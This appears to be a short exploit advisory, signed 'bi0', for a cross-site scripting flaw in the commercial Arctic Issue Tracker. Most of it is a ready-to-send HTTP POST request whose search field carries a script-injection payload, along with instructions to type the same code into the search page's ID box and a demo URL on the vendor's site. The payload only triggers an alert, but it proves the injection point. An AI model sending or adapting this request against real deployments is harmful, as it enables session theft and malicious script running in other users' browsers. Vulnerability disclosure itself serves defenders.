Arctic Issue Tracker Cross Site Scripting

`  
  
______ __ ______   
/\ == \ /\ \ /\ __ \   
\ \ __< \ \ \ \ \ \/\ \   
\ \_____\ \ \_\ \ \_____\   
\/_____/ \/_/ \/_____/   
  
01000010 01101001 01001111   
  
[#]----------------------------------------------------------------[#]  
#   
# [+] Arctic Issue Tracker [XSS]  
#  
# // Author Info   
# [x] Author: bi0  
# [x] Contact: [email protected]   
# [x] Homepage : www.ssteam.ws  
# [x] Thanks: packetdeath and ssteam.ws  
#  
# // Software Info   
# [x] Name : Arctic Issue Tracker  
# [x] Vendor : http://www.arctictracker.com/  
# [x] Price : 99.95 USD  
#  
[#]-------------------------------------------------------------------------------------------[#]  
  
[x] Exploit :   
  
[ Request Header ]  
  
Host: demo.arcticissuetracker.com  
User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Keep-Alive: 300  
Connection: keep-alive  
Referer: http://demo.arcticissuetracker.com/index.php?cmd=search  
Cookie: PHPSESSID=9ec5cf089a9467bdc48cb36f9e83885e  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 57  
  
[ Post Content ]  
  
submit=Login&matchings%5Bid%5D="/><script>alert(/XSS/)</script>&matchings%5Btitle%[email protected]  
  
[ OR ] simple ..   
  
http://localhost/index.php?cmd=search  
  
and type at "ID:" XSS code ..  
  
[#]------------------------------------------------------------------------------------------[#]  
#  
# Demo :   
#   
# [+] http://demo.arcticissuetracker.com/index.php?cmd=search  
#   
#   
[#]-------------------------------------------------------------------------------------------[#]  
  
#EOF`